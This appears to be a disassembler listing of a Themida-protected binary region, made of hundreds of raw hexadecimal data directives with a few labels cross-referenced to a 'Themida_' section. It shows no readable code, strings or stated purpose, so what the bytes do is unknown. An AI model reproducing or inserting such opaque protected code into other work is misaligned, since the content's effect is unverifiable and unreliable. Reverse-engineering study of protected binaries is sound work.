		dd 2206EB51h, 1706F359h, 8922B7CDh, 0A3E1E49Bh,	53973E7Fh
		dd 0BA24FFC5h, 13393C26h, 4310E6Dh, 29393CDEh, 1322A25Fh
		dd 56A9D7D8h, 0C422BC30h, 69B9A4D8h, 0FF9BC0F3h, 2081D21Ah
		dd 57A9D682h, 0CE71B7B2h, 1322B7DBh, 0D2E1ECF8h, 0C006EB51h
		dd 6606F359h, 3122B7CCh, 0E5E1E49Bh, 0E9B79EB8h, 0AD24FFC4h
		dd 5B326265h, 5111D6DEh, 2C73B7B2h, 6222B7DBh, 68E1EEF8h
		dd 9C06FB51h, 4806F359h, 2622B7C5h, 56E1E699h, 0E5B614Bh
		dd 3676AF99h, 60A7B8A9h, 8422B7D8h, 51BF3EFEh, 2624FFF2h
		dd 25CAE1D8h, 3322B7D8h, 7C7486h, 452693ACh, 7526939Ch
		dd 7722B7D8h, 4AB8748Eh, 0B4A9692Bh, 14F321Eh, 7965B190h
		dd 8ACAE2D8h, 0E422B7D8h, 0EB7F7485h, 0B02693B4h, 8026939Ch
		dd 922B7D8h, 48DC748Dh,	7B84990Eh, 53833169h, 4A2DE588h
		dd 6222B7DEh, 312233D7h, 0A92DB7D8h, 4C22BA31h,	0F8BF37D8h
		dd 0D2E67E3Fh, 0EA210F10h, 9C78A7B9h, 7A068359h, 5B4FC883h
		dd 9BCAE4D8h, 6C22B7D8h, 0AF797483h, 92269384h,	9126939Ch
		dd 8722B7D8h, 0FACD748Bh, 0B82B2E6Ch, 0D012166Dh, 0D99748DEh
		dd 2724FFF9h, 5B086A5Dh, 97A73ADEh, 0AE24FC5Bh,	61CAE0D8h
		dd 1122B7D8h, 117D7487h, 0CD2693A4h, 3D26939Ch,	5422B7D8h
		dd 0F0F6748Fh, 0AD08467Dh, 0F72394FCh, 376AAAFDh, 9822BB30h
		dd 0ED27C0D8h, 73175ED3h, 373FD61Eh, 0CCAF3E4Fh, 9E24FFCDh
		dd 6222A730h, 56D4B3D8h, 0EBF7BE38h, 5BF6E62Dh,	0D3A777A7h
		dd 0EC7C420Bh, 0EA3D08h, 8C26425Dh, 3022DDDEh, 3122B430h
		dd 5B7897D8h, 68763E82h, 26636DCh, 1322AADCh, 4A70F5D8h
		dd 2D3BE2Ch, 5BA6659Dh,	5B62AF04h, 9BCAE7D8h, 6C22B7D8h
		dd 0AF7A7480h, 9226939Ch, 9D26939Ch, 8422B7D8h,	8BFD7488h
		dd 3122B7D6h, 22961459h, 0D5CBE0EEh, 0BF92EEECh, 13A91BC5h
		dd 6173B7B2h, 0C422B7DBh, 3BE1EEF8h, 3506FB51h,	9C06F359h
		dd 4C22B7C1h, 22E1E699h, 7A82E88Ah, 7AA9D1AAh, 0EC132253h
		dd 62A9B190h, 244F3251h, 2DABB190h, 4A6AAC09h, 26238331h
		dd 0DEB73ED8h, 424FFF6h, 8F9BF15Dh, 0AD4C09DEh,	5772C513h
		dd 9CAB4D53h, 91AF94FCh, 0D924FFC0h, 5B3C724Dh,	0DE22DDDEh
		dd 0C422B430h, 0A17D97D8h, 155E3E87h, 0BC6636DCh, 4C22A2DCh
		dd 0E575F0D8h, 9244F079h, 4D24231h, 8F9BFB45h, 3022DDDEh
		dd 3122B430h, 5B7897D8h, 68763E82h, 26636DCh, 1322A0DCh
		dd 4A70F5D8h, 4B9ECC21h, 6222B930h, 45946FD8h, 3771E4EFh
		dd 0C6870FA2h, 0CEA6EFF8h, 1322B7CCh, 630A6667h, 46873768h
		dd 81800EFBh, 6BE203Ch,	4323353h, 157BED89h, 0E7A9D788h
		dd 373E3EB9h, 6175B7B2h, 0C422B7DBh, 3DE1E8F8h,	3506CB51h
		dd 9C06F359h, 4C22B7CDh, 0EBE1E09Fh, 15A7B8C4h,	22B7D8h
		dd 8C283645h, 8B42E7DEh, 3122B7D2h, 2993C2F2h, 0EC149AEDh
		dd 21CA94BEh, 7622B7D8h, 199F985Bh, 9C7367B6h, 66ABD682h
		dd 6722DDFCh, 9822B430h, 8F7C97D8h, 2563E86h, 376636DCh
		dd 8922A1DCh, 774F1D8h,	30C4A24Ch, 34830AE9h, 677CB190h
		dd 406F64Dh, 20A2B8DEh,	2222B7D8h, 0C13B4265h, 0EA9D1DEh
		dd 7E233251h, 0BA44B190h, 0F5A7712Fh, 1F24FFFFh, 0DA100DBEh
		dd 1322B330h, 0EA6C8D8h, 0CBCAD772h, 0F722B7D8h, 0E969D495h
		dd 0FCFD6FA0h, 8CCD5DF9h, 0AF2D8DCDh, 1322B7D8h, 0E8180483h
		dd 729CD188h, 46663C95h, 35A0B8DCh, 0FE22B7D8h,	0C776F167h
		dd 7472D7D8h, 1322B831h, 531F24D8h, 893FF791h, 8575E383h
		dd 0A01C06A0h, 0E59986D7h, 1625D61Bh, 62ABD680h, 797AB3FCh
		dd 8ACAE6D8h, 0E422B7D8h, 0EB7B7481h, 0B0269394h, 8326939Ch
		dd 0D22B7D8h, 0D97489h,	0C8725FA5h, 3CDDACE6h, 0C26A964Dh
		dd 8A73B7B2h, 3122B7DBh, 0C1E1EEF8h, 4806FB51h,	2206F359h
		dd 1322B7CCh, 77E1E699h, 0E14B0AF1h, 0EFD7B190h, 7AA1A95Dh
		dd 0C922DDDEh, 4C22B430h, 0E57B97D8h
		db 81h
byte_579529	db 3Eh,	6Eh, 37h	; DATA XREF: Themida_:0053FD08o
		dd 0AD6636DCh, 0C422A2DCh, 0A173F6D8h, 0E1DDAA85h, 7075B7B2h
		dd 4C22B7DBh, 79E1E8F8h, 1706CB51h, 8D06F359h, 0C422B7C5h
		dd 4FE1E09Fh, 3395C13Ah, 0D50ACD67h, 0ADA73EE0h, 4C24FFFBh
		dd 10CAE5D8h, 0A922B7D8h, 4D787482h, 0E326938Ch, 2B26939Ch
		dd 0DA22B7D8h, 24DF748Ah, 8438E5D9h, 7EA7715Eh,	0CE24FFFFh
		dd 0C422A530h
		db 0D8h
byte_579595	db 28h,	0B8h, 0FEh	; DATA XREF: Themida_:0053F5E4o
		dd 48E67670h, 53AF52EDh, 0CF5D67FBh, 0DACD6891h, 13265F87h
		dd 9CB2B7D8h, 967216AAh, 532D5852h, 84AF0DBEh, 9772EF82h
		dd 4C22BD54h, 22ACB8D8h, 7522B7D8h, 2B54462h, 9526939Ch
		dd 0E9787853h, 25AAB8D8h, 0C822B7D8h, 0A413B88Ah, 2622B7D0h
		dd 56B1D539h, 47A517C5h, 4D7AED81h, 8B26939Ch, 3122B7DFh
		dd 0F2E4DB8Bh, 1446F107h, 0CE71B7B2h, 1322B7DBh, 0D2E1ECF8h
		dd 0C006EB51h, 6606F359h, 3122B7C4h, 52E1E49Bh,	8DD9E17Ah
		dd 0F94ACC0Dh, 75F208D7h, 0A17A7159h, 0E8AB0A51h, 0D7DDB190h
		dd 376A964Dh, 870B3251h, 0C9AFB190h, 206934C6h,	0FB77B7B2h
		dd 8922B7DBh, 99E1EAF8h, 6606DB51h, 3506F359h, 9822B7CEh
		dd 0B4E1E29Dh, 0F6DD1DDAh, 3DD70AE9h, 0CABB190h, 0C26AAA81h
		dd 8A74B7B2h, 3122B7DBh, 0C6E1E9F8h, 4806C351h,	2206F359h
		dd 1322B7CEh, 0ACE1E19Eh, 5913E1CCh, 646AA87Dh,	0F76C6558h
		dd 0D005DA5Dh, 0C02DE4DEh, 2622B7DEh, 9DD44659h, 0C24A9E97h
		dd 93DE7CCCh, 46163682h, 54D0FC03h, 7074B7B2h, 4C22B7DBh
		dd 78E1E9F8h, 1706C351h, 8D06F359h, 0C422B7C1h,	44E1E19Eh
		dd 0F57754D1h, 2513D795h, 4A6AA891h, 53B73EB9h,	0EC24FFF0h
		dd 0C103226Dh, 9122DDDEh, 6222B430h, 0F27F97D8h, 0BC4E3E85h
		dd 686636DCh, 2622AADCh, 0D077F2D8h, 0C0BAFD52h, 0C37ADECEh
		dd 0DFAB2050h, 376A9D31h, 93173AEBh, 4BCBB190h,	0AC22B7D8h
		dd 0D0109B7Fh, 0CAFCD33h, 0C26934C6h, 6222B831h, 1466D0D8h
		dd 5E12D534h, 76ADF08Eh, 45A69BD9h, 3C4B0251h, 59DDB190h
		dd 2C73B7B2h, 6222B7DBh, 68E1EEF8h, 9C06FB51h, 4806F359h
		dd 2622B7CCh, 0C8E1E699h, 8FA9B8B8h, 4D22B7D8h,	2A094E55h
		dd 0E8B7B4DEh, 0F924FFC3h, 6C9F3251h, 2648B190h, 13215F8Bh
		dd 0D202B7D8h, 98ABEC1Bh, 26A3B3FCh, 3134B3FCh,	0CB61B7D8h
		dd 9F3FC11Bh, 3E2B09BEh, 37A332D9h, 0CE4B190h, 0C26A90B5h
		dd 3222DD8Fh, 3122B430h, 5B7A97D8h, 68663E80h, 26636DCh
		dd 1322AEDCh, 4A72F7D8h, 5136E5FBh, 0ACA8BDEFh,	21330253h
		dd 1D4AB190h, 0A45D4C5Eh, 2622B7D3h, 0F7C33A93h, 97A60E35h
		dd 9422F19Bh, 6D70E78Ah, 3E7AEDE9h, 0C26105E9h,	48A3E880h
		dd 2EE936FCh, 4022DDC8h, 8922B430h, 77997D8h, 467E3E83h
		dd 156636DCh, 9822ABDCh, 8F71F4D8h, 96DC5F73h, 258291ECh
		dd 66E53625h, 3B64EFD2h, 2A03226Dh, 0BCCA3DDEh,	0D3A1A95Dh
		dd 1A22DDDEh, 2622B430h, 0D07C97D8h, 0AD563E86h, 0E06636DCh
		dd 6222A3DCh, 0F274F1D8h, 75AF3CB7h, 0B324FFD4h, 7022DD08h
		dd 1322B430h, 4A7C97D8h, 0E0563E86h, 466636DCh,	3122AFDCh
		dd 5B74F1D8h, 1853FED5h, 7A9BD17Dh, 0B6A73E1Bh,	0E324FFD2h
		dd 0C7CAE4D8h, 4222B7D8h, 0B8797483h, 19269384h, 5126939Ch
		dd 6522B7D8h, 76FB748Bh, 626585D0h, 0DA856B16h,	6D4E5D58h
		dd 3122B15Ch, 6DBF3ED8h, 8A24FFF4h, 6E05DA5Dh, 1348F4DEh
		dd 89215F8Ah, 9E02B7D8h, 36ABED1Bh, 75A3B3FCh, 9838B3FCh
		dd 1E60B7D8h, 70A3551Bh, 0A7625D80h, 488B93B0h,	0A0D1096Bh
		dd 66A3AB0Dh, 0FFE5B3FCh, 6F9CD1D0h, 0D9974868h, 4C24FFF9h
		dd 10CAE5D8h, 0A922B7D8h, 4D787482h, 0E326938Ch, 2926939Ch
		dd 0DA22B7D8h, 5B4E748Ah, 0AFC8A47Fh, 5B0D2E4Dh, 97A73ADEh
		dd 4D24FC5Bh, 2A2E6E55h, 57F248DEh, 11AA4962h, 43B0A5Dh
		dd 24ABB8DEh, 9822B7D8h, 0B5A73A2Bh, 0AE24FC61h, 61CAE1D8h
		dd 1122B7D8h, 117C7486h, 0CD2693ACh, 3B26939Ch,	5522B7D8h
		dd 9CE4748Eh, 3F664AF8h, 314E1957h, 0D9B24F53h,	9822B7D7h
		dd 12D9A2DBh, 39BF44FFh, 0AD167FF5h, 33792155h,	0F886DFB8h
		dd 3B75E786h, 50AF3C48h, 6724FFC3h, 43C724Dh, 7122DDDEh
		dd 1322B430h, 4A7D97D8h, 0E05E3E87h, 466636DCh,	3122AEDCh
		dd 5B75F0D8h, 0F53D7E38h, 0DC9B5F3Eh, 9835F20Bh, 5B9DD100h
		dd 0F4A73A9Eh, 824FC61h, 32CAE5D8h, 0B822B7D8h,	0C5787482h
		dd 0A726938Ch, 0B26939Ch, 0CB22B7D8h, 8713748Ah, 329FDA5Bh
		dd 6FD03C8Bh, 0B106B351h, 4046665h, 3AABE7DEh, 0E2973CFCh
		dd 7624FFFFh, 8C06F64Dh, 3322DDDEh, 3122B430h, 5B7B97D8h
		dd 686E3E81h, 26636DCh,	1322A2DCh, 4A73F6D8h, 0ED701BFAh
		dd 2A2E2A4Dh, 0B4ABE8DEh, 9E6AB179h, 0C9E57C52h, 206AB23Dh
		dd 1322B7D7h, 76DB3CBEh, 8C24164Dh, 999DB8DEh, 184B3251h
		dd 5A93B190h, 60BB3253h, 0BBAFB190h, 15697AE3h,	423F451h
		dd 8C297665h, 77973ADEh, 8824FC15h, 9822B7EBh, 7FC9132Bh
		dd 2622B760h, 67E2BCD8h, 893A75DBh, 0C806F353h,	62225F8Bh
		dd 0B079B7D8h, 9822A01Bh, 687E3ED8h, 2663EC8h, 249AECCCh
		dd 76222878h, 0E0663C38h
		db 0DCh, 48h, 0C2h
byte_579AB7	db 0EBh			; DATA XREF: Themida_:0053D238o
		dd 79267E6Dh, 0CF22DDDEh, 4C22B430h, 0E57D97D8h, 375E3E87h
		dd 0AD6636DCh, 0C422A2DCh, 0A175F0D8h, 0D84338F3h, 9822B7D7h
		dd 0ED8D3702h, 6649F855h, 1456F137h, 426177Ch, 8F9B8765h
		dd 0FEAF3ADEh, 8924FC15h, 41CEDh, 461F32EBh, 0E909B190h
		dd 0B8205E19h, 304222DDh, 0D88922B4h, 81077B97h, 0DC466E3Eh
		dd 0DC156636h, 839822AFh, 0A4F305E9h, 6AD98Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0B5C47DC3h, 0B2E37094h, 9052F181h, 7EE914DFh, 60000000h
		dd 13E9h, 8F0D9800h, 6A6E0A80h,	42F67937h, 645213AFh, 4A70C56Ah
		dd 1800Fh, 61F80000h, 50006A61h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 12E94C2Dh, 56000000h
		dd 1622732Ch, 4E53849Ch, 93A57385h, 559FBE36h, 12860F18h
		dd 0E9000000h, 0Dh, 34C277AEh, 805CCB08h, 1704291h, 0AE9C38Ah
		dd 2000000h, 8A6D3ED5h,	0F00AFA78h, 0E9C08B0Bh,	5, 0A5BA5D6Ch
		dd 0BA6660F4h, 8C0F17FBh, 15h, 10E9h, 0DCBD4300h, 47B61FCh
		dd 0E026F4D6h, 1EF9CCDEh, 0BD83613Eh, 64820E9h,	83097500h
		dd 482C61BDh, 19740006h, 0C08B5350h, 4B9B8h, 21858900h
		dd 8D064800h, 4AB0939Dh, 5BD3FF06h, 61BD8358h, 6482Ch
		dd 53501774h, 4B9B8h, 21858900h, 8D064800h, 4AAD349Dh
		dd 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 5D97DB47h, 0CE923h, 68B80000h, 0D0A33DF2h
		dd 0B5A850FFh, 0E960D690h, 8, 0AE91B490h, 2DEBFC5Eh, 6A61F8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0E6B70AC3h, 0C64B31CEh, 0F36C38Fh, 58Dh, 60F96000h
		dd 0C08B6161h, 0EE9h, 0B38C3100h, 6C5E9E7Bh, 4ADC0323h
		dd 4075415Ah, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 9E85CC3h, 44000000h, 0B0C1DC10h
		dd 0D80A5291h, 4EB5FF5h, 0
		dd 56D78166h, 7DBD0B72h, 8D064830h, 4832FD85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 81BD3A63h, 83F10BF6h, 66509074h, 902C21BEh, 0AB5BD8Bh
		dd 0BF0F0648h, 6A006AF8h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 3FD2C351h, 6A86FAFCh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0A5663AE2h, 33227E28h, 0D0E3858Dh, 8B60064Bh
		dd 4830D1BDh, 599D8B06h, 6106480Dh, 3105C083h, 4827718Dh
		dd 60605006h, 52506160h, 585A310Fh, 4896161h, 6E924h, 0EB780000h
		dd 2CB32FD9h, 0EE81006Ah, 6A6A856h, 8D0F006Ah, 6, 8C1BD8Bh
		dd 95FF0648h, 648277Dh,	9C149D8Dh, 6A064Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0FD56CCC3h
		dd 29FCE46Ah, 0FFF38BDEh, 50006AD3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 4DBD8B0Eh
		dd 89064829h, 4813F9B5h, 2D85FF06h, 0E906480Ah,	0Ah, 0BDFCB87Bh
		dd 3985AC6Fh, 0AFE96FF3h, 0E8000007h, 0
		dd 0EDED815Dh, 0E8064BD0h, 12h,	7456B53Eh, 3D422C97h, 2A5613F3h
		dd 67B69D28h, 95895F20h, 648005Dh, 0E5BD815Eh, 0D0064805h
		dd 0F000007h, 14986h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 10097572h, 20899D89h
		dd 9D8B0648h, 6482AC1h,	24B9B52Bh, 0E3810648h, 100h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0F9C35040h, 0CB03205Bh
		dd 39C9E09h, 4806F9B5h,	0FDB0B06h, 9D85h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 0E8F98BEBh, 13h, 0CE40045Dh,	83E9116Bh, 4C4DF493h, 0C4DE6844h
		dd 0B5A0B5Ch, 482EDDBDh, 0BD835F06h, 64BCF95h, 0E840F00h
		dd 0BF000000h, 0E27BF2Bh, 6FE9h, 0A9BF6600h, 9585C733h
		dd 1064BCFh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 31A7C350h, 4830B1BDh
		dd 3AE906h, 0FE90000h, 8C000000h, 4274E332h, 0BF2C42B5h
		dd 1EA8F3E4h, 85C79C5Fh, 64BCF95h, 0
		dd 0E9F38B66h, 14h, 0DB89DCD8h,	0C7936441h, 679A4050h
		dd 143F7A94h, 36CC6D60h, 2AC19D8Dh, 0BD8B0648h,	6480989h
		dd 0FEFF2381h, 8D89FFFFh, 6482C5Dh, 28E1BD8Bh, 8C660648h
		dd 55006ADBh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 4F951C56h, 2ABC2803h, 0E2816660h, 0BF66CB5Eh
		dd 0F6617F0Dh
		db 0C3h, 4, 0Fh
byte_57A00F	db 84h			; DATA XREF: Themida_:0053ED24o
		dd 5Fh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h
		dd 1EC35141h, 8B8AFFAAh, 0A195FFF8h, 66064806h,	5E9FA8Bh
		dd 40000000h, 7A94679Ah, 0F18B6690h, 5C09BE50h,	6A904DDFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0BC03C355h, 0E9F81077h, 4B2h, 0E856006Ah
		dd 3
		db 20h,	5Eh, 0C3h
byte_57A083	db 5Eh			; DATA XREF: Themida_:0053D850o
		dd 4247489h, 4244481h, 14h, 98C35646h, 28F0Fh, 0F98B0000h
		dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 95DDFEC3h, 0BF06A1C6h, 0E69091DEh, 53006A70h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		db 0F0h, 30h, 24h
byte_57A0E3	db 0F8h			; DATA XREF: Themida_:0053F6ECo
		dd 0D692D4B6h, 5ED8D01h, 71E40648h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 97C35242h, 9F1B58Bh, 8C0F0648h
		dd 6, 23719589h, 0F8510648h, 0D8B60F5Fh, 2CFDBD89h, 6BA0648h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0BCE1C357h, 0C3C68166h, 6AC38B3Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 7F9BC350h, 0B3B858A4h, 0BF66C247h, 0E8C17E22h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8E9DB5Eh, 5F000000h, 26A6044Bh, 66180C72h
		dd 0D8BEE2F7h, 2B1D5587h, 56006AD8h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 9DEB8C09h
		dd 0B70FE587h, 8B6693F0h, 0E86050F0h, 0Dh, 70894317h, 0BF66644Eh
		dd 813A0F7Eh, 5A61607Eh, 60616060h, 93616161h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 70C35747h, 0A8D791AFh
		dd 0BCDC7DF2h, 0DBD3352h, 5E064828h, 6830Fh, 0B58B0000h
		dd 64828F5h, 5E5B5FFh, 6A0648h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 40E88DC3h, 0FFEB70Fh
		dd 0B8Ch, 5E800h, 0C5AD0000h, 5EBFD479h, 306195FFh, 6A0648h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0BA5623C3h, 0FE9E0h,	37E80000h, 4B3C98E7h, 67209FE3h
		dd 0E45AFFFAh, 0FE9ACh,	0FE260000h, 55542166h, 0A7ACF1CFh
		dd 0EF4114AEh, 6A00B031h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 1B78C351h, 195DB58Bh
		dd 70E60648h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ah,	0A9C35646h, 0C8B3FB7h, 0F38BE323h, 92F78166h, 6A71E459h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0BF5C356h, 4AECCDFDh, 0CFB416CAh,	583CF81h
		dd 8B66378Ah, 0F613CF8h, 1ED83h, 6850F00h, 89000000h, 4827659Dh
		dd 0D8B60F06h, 0BE9h, 6DBAD500h, 0DD6BF4Eh, 0A048B20Dh
		dd 13C59529h, 6BA0648h,	29000000h, 4824B98Dh, 66C38B06h
		dd 0C150D6BFh, 6A04E8h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0FDA25BC3h, 6335C7DEh, 0E2F766B3h
		dd 5E8h, 4BD4D500h, 5EF9ABDBh, 9D89D82Bh, 6480F51h, 8D8958F5h
		dd 64830F9h, 38A0Fh, 0BF0F0000h, 0FD82BF7h, 16188h, 29BF6600h
		dd 7B9B7h, 890F0000h, 6, 0D7C6E681h, 0C183153Bh, 56BF6600h
		dd 0FD93B38h, 13D86h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8C66048Eh, 0B99589D9h
		dd 60064827h, 28618503h, 0BD890648h, 648274Dh, 4C1F661h
		dd 0DA840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 8FA84AC3h, 2B0655F5h, 0B70FEDE0h
		dd 0A195FFF1h, 6A064806h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 6BDAC352h, 50006A5Bh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0A9C8284Fh, 26DE8103h, 0F917A6A7h, 6AC32Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 4F350BC3h, 0F83AB423h, 0E5BD8BFCh, 8906480Eh, 4821219Dh
		dd 8343D06h, 860F0000h,	2Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 9C35141h, 30E9A8h, 0BD8B0000h
		dd 6481A9Dh, 80B8BF66h,	6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 525799C3h, 8945F780h
		dd 0C38BB992h, 85C7D88Bh, 6482E45h, 1AB44FD9h, 6AC08Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 771E50C3h, 60DEAC32h, 814BE357h, 4805E5BDh, 7D006h
		dd 25850F00h, 0E8000000h, 0Dh, 74EB251Dh, 78291E2Ah, 719D4513h
		dd 299D0140h, 5F06482Eh, 5E585FFh, 81660648h, 0F8775DF7h
		dd 5E5B5FFh, 0BD8B0648h, 6482F4Dh, 306195FFh, 6A0648h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 2FDD28C3h, 36A40D77h, 0BD8BAD89h, 6480A69h, 5678B890h
		dd 14E91234h, 38000000h, 0F969A9BEh, 7DDD051h, 0DBB4C2F7h
		dd 38C5E242h, 3F3B3A4h,	4805B1BDh, 629D8D06h, 0E9064BD8h
		dd 0FFFFF857h, 21318589h, 0C18B0648h, 12E9h, 9B46CC00h
		dd 54967C3Ch, 2DA5AD60h, 430D84E6h, 0EB816DFFh,	4, 1606000h
		dd 48227D85h, 0F61F506h, 68Fh, 33E38100h, 610D45A8h, 2D79B529h
		dd 858D0648h, 64832FDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0D3C35141h, 296156E8h, 482329B5h, 52505006h
		dd 11E8310Fh, 67000000h, 3EA26276h, 168FD1Ch, 86A21A52h
		dd 0DD4E9BA8h, 8A0Fh, 5A5F0000h, 24048958h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2EC35141h, 0B9BE4840h
		dd 0A558E777h, 0E8C0Fh,	89600000h, 481F5185h, 0AD8D3306h
		dd 61064818h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 65609CC3h, 15890Fh, 10E90000h, 65000000h
		dd 0BBDA97A2h, 0F65E62Ch, 0A36AD23Bh, 6AB20417h, 0F18D2900h
		dd 8D064810h, 4BDAA885h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 689A5350h, 0FDB589C4h
		dd 8306480Ah, 6A05C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0AFF823C3h, 0C6816649h, 9D89154Dh
		dd 6480DB1h, 0F98B5190h, 0B3BE505Fh, 902D4F0Ch,	0AE9h
		dd 61C65500h, 0DC97241Dh, 6AD5C25Eh, 0FAB70F00h, 14E9006Ah
		dd 0C3000000h, 36700196h, 9B89E8Dh, 0F018ED9Dh,	0B1B3A269h
		dd 0FF833567h, 48277D95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0DE9536Ah
		dd 0D7000000h, 5E34A819h, 5F92BFAAh, 7C2291E0h,	8DFB8B5Fh
		dd 4B9C149Dh, 0F8B70F06h, 9589D3FFh, 6482C25h, 0A2D85FFh
		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 2A0F2C3h,	0B18D89C2h, 0E906481Dh,	0CABh
		dd 0E8h, 0ED815D00h, 64BDAB2h, 23F1BD89h, 0BD810648h, 64805E5h
		dd 7D0h, 169860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8B4651C3h, 4826C59Dh
		dd 29958906h, 81064828h, 100E3h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 7FEE81E8h
		dd 0B4B1989h, 0AA850FDBh, 0E9000000h, 0Eh, 80A686D8h, 4FBBDBFBh
		dd 0F7CA349h, 83F5B2E8h, 4BD8B2BDh, 840F0006h, 36h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 40C35040h, 0B4E9F88Dh
		dd 5BF51D38h, 4BE9BF7Ch, 86E956B4h
		dd 0F000000h, 0BE66F3B7h, 85C7C5B0h, 64BD8B2h, 1, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CFC35040h, 52F918CCh
		dd 830FF5E2h, 15h, 0DE852h, 846D0000h, 735A8C82h, 200C3AF0h
		dd 5EDCA64Ah, 33E95Fh, 29FC0000h, 48093595h, 0B285C706h
		dd 64BD8h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 61AFC351h, 84FA0AA4h, 0C59D8DA1h
		dd 9064826h, 48007D85h,	0FF238106h, 6AFFFFFEh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0FE3EC350h, 132CA4Eh, 18D89F4h, 66064832h, 6ADB8Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 5A0682C3h, 68B0Fh, 0B5010000h, 64828C5h, 0F04C3F6h
		dd 1A84h, 31B58B00h, 0F064828h,	95FFFAB7h, 64806A1h, 48950F8h
		dd 81B58B24h, 0E9064823h, 42Ah,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0B5C35343h,	0B58B6067h, 648297Dh
		dd 0EA9CD881h, 66613987h, 0B0FE8Bh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 6C35141h, 0C5F8BE66h, 880F70E6h
		dd 5, 0EECC65BEh, 0E871E40Ah, 0Fh, 0D8ADA52Dh, 0D21B6AFAh
		dd 0C2F2978Ah, 5F6FEAA1h, 6AD8B60Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 9888C350h
		dd 76BD4DF7h, 6840FD8h,	8B000000h, 480609B5h, 6BA06h, 7E90000h
		dd 2000000h, 0A881FC7Ch, 0C38BAE0Ch, 1BE59D89h,	0E8C10648h
		dd 198D8904h, 66064801h, 0B52BE2F7h, 6482571h, 6AD82Bh
